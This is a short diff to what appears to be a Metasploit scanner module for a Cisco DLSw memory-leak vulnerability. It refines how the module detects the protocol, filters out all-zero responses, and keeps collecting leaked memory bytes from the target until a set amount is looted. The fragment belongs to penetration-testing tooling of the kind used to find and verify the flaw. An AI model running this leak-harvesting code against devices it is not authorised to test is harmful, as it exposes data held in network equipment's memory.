@@ -46,7 +46,7 @@ def peer
46
46
"#{ rhost } :#{ rport } "
47
47
end
48
48
49
- def get_response ( size = 8 )
49
+ def get_response ( size = 72 )
50
50
connect
51
51
response = sock . get_once ( size )
52
52
disconnect
@@ -61,7 +61,7 @@ def check_host(_ip)
61
61
if response . blank?
62
62
vprint_status ( "#{ peer } : no response" )
63
63
Exploit ::CheckCode ::Safe
64
- elsif response [ 0 ..3 ] == "\x31 \x48 \x01 \x5b "
64
+ elsif response [ 0 ..1 ] == "\x31 \x48 " || response [ 0 .. 1 ] == " \x32 \x48 "
65
65
vprint_good ( "#{ peer } : Detected DLSw protocol" )
66
66
report_service (
67
67
host : rhost ,
@@ -71,15 +71,17 @@ def check_host(_ip)
71
71
)
72
72
# TODO: check that response has something that truly indicates it is vulnerable
73
73
# and not simply that it responded
74
- print_good ( "#{ peer } : leaked #{ response . length } bytes" )
75
- report_vuln (
76
- host : rhost ,
77
- port : rport ,
78
- name : name ,
79
- refs : references ,
80
- info : "Module #{ fullname } collected #{ response . length } bytes"
81
- )
82
- Exploit ::CheckCode ::Vulnerable
74
+ unless response [ 18 ..72 ] . scan ( /\x00 / ) . length == 54
75
+ print_good ( "#{ peer } : leaked #{ response . length } bytes" )
76
+ report_vuln (
77
+ host : rhost ,
78
+ port : rport ,
79
+ name : name ,
80
+ refs : references ,
81
+ info : "Module #{ fullname } collected #{ response . length } bytes"
82
+ )
83
+ Exploit ::CheckCode ::Vulnerable
84
+ end
83
85
else
84
86
vprint_status ( "#{ peer } : #{ response . size } -byte response didn't contain any leaked data" )
85
87
Exploit ::CheckCode ::Safe
@@ -92,7 +94,7 @@ def run_host(ip)
92
94
93
95
dlsw_data = ''
94
96
until dlsw_data . length > datastore [ 'LEAK_AMOUNT' ]
95
- response = get_response ( 72 )
97
+ response = get_response
96
98
dlsw_data << response [ 18 ..72 ] unless response . blank?
97
99
end
98
100
loot_and_report ( dlsw_data )
0 commit comments